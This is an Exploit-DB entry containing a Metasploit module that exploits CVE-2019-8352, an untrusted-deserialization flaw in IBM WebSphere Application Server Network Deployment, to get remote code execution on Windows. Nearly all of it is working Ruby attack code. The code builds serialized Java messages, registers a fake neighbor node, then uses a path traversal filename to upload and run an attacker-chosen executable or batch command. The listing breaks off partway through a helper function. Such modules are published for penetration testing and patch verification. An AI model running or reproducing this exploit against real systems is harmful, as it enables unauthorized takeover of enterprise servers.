Exploit-DB #46969
Description: IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2019-06-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution',
      'Description' => %(
        This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.
        NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author
        ],
      'References' =>
        [
          ['CVE', '2019-8352'],
          ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628']
        ],
      'Platform' => ['win'],
      'Targets' =>
        [
          [
            'Windows Binary', {
              'Arch'     => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ],
          [
            'CMD', {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Payload' => {'Compat' => {'RequiredCmd' => 'generic'}}
            }
          ]
        ],
      'Privileged' => true,
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 15 2019'))

    register_options(
      [
        Opt::RPORT(11006), # 11002,11004,11006,etc
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
        OptRaw.new('SSLVersion', [true, 'Default Version for WASND ', 'SSLv3']),
        OptRaw.new('SSLVerifyMode', [true, 'SSL verification method', 'CLIENT_ONCE']),
        OptString.new('SSLCipher', [true, 'SSL Cipher string ', 'ALL'])
      ]
    )
  end

  def cleanup
    disconnect
    print_status('Disconnected from IBM Websphere DMGR.')
    super
  end

  def exploit
    command = nil

    if target.name == 'CMD'
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD']
      command = datastore['CMD']
    end
    # Connect to IBM Websphere Application Server
    connect
    print_status("Connected to IBM WAS DMGR.")

    node_port = datastore['RPORT']

    # Send packet to add neighbor
    enc_stream = construct_tcp_node_msg(node_port)
    send_msg(enc_stream)

    sock.get_once
    print_status('Server responded')

    # Generate binary name
    bin_name = rand_text_alpha(8)

    if command
      command = datastore['CMD']
      payload_contents = command.to_s
      print_status('Executing command: ' + payload_contents)
      bin_name << ".bat"
    else
      payload_contents = generate_payload_exe(code: payload.generate)
      bin_name << ".exe"
    end

    print_status("Sending payload: #{bin_name}")
    enc_stream = construct_bcast_task_msg(node_port, "..\\..\\..\\" + bin_name, payload_contents, bin_name)
    send_msg(enc_stream)
    register_file_for_cleanup(bin_name)
  end

  def send_msg(enc_stream)
    pkt = [0x396fb74a].pack('N')
    pkt += [enc_stream.length + 1].pack('N')
    pkt += "\x00"
    pkt += enc_stream

    # Send msg
    sock.put(pkt)
  end

  def construct_tcp_node_msg(node_port)
    p2p_obj = Rex::Java::Serialization::Model::NewObject.new
    p2p_obj.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    p2p_obj.class_desc.description = build_p2p_node_class(p2p_obj)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_tcp_node_msg(object, 12, "0.0.0.0", node_port, p2p_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.encode
  end

  def construct_bcast_task_msg(node_port, filename, byte_str, cmd)
    # Add upload file argument
    byte_arr = byte_str.unpack("C*")
    upfile_arg_obj = build_upfile_arg_class(filename, byte_arr, cmd)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_bcast_run_task_msg(object, 41, "0.0.0.0", node_port, upfile_arg_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.encode
  end

  def build_message(obj, msg_id, msg_type, orig_cell_field_type)
    # Create the integer field and add the reference
    id_field = Rex::Java::Serialization::Model::Field.new
    id_field.type = 'int'
    id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID')

    # Create the integer field and add the reference
    type_field = Rex::Java::Serialization::Model::Field.new
    type_field.type = 'int'
    type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type')

    # Create the object field and add the reference
    new_field = Rex::Java::Serialization::Model::Field.new
    new_field.type = 'object'
    new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell')
    new_field.field_type = orig_cell_field_type

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Re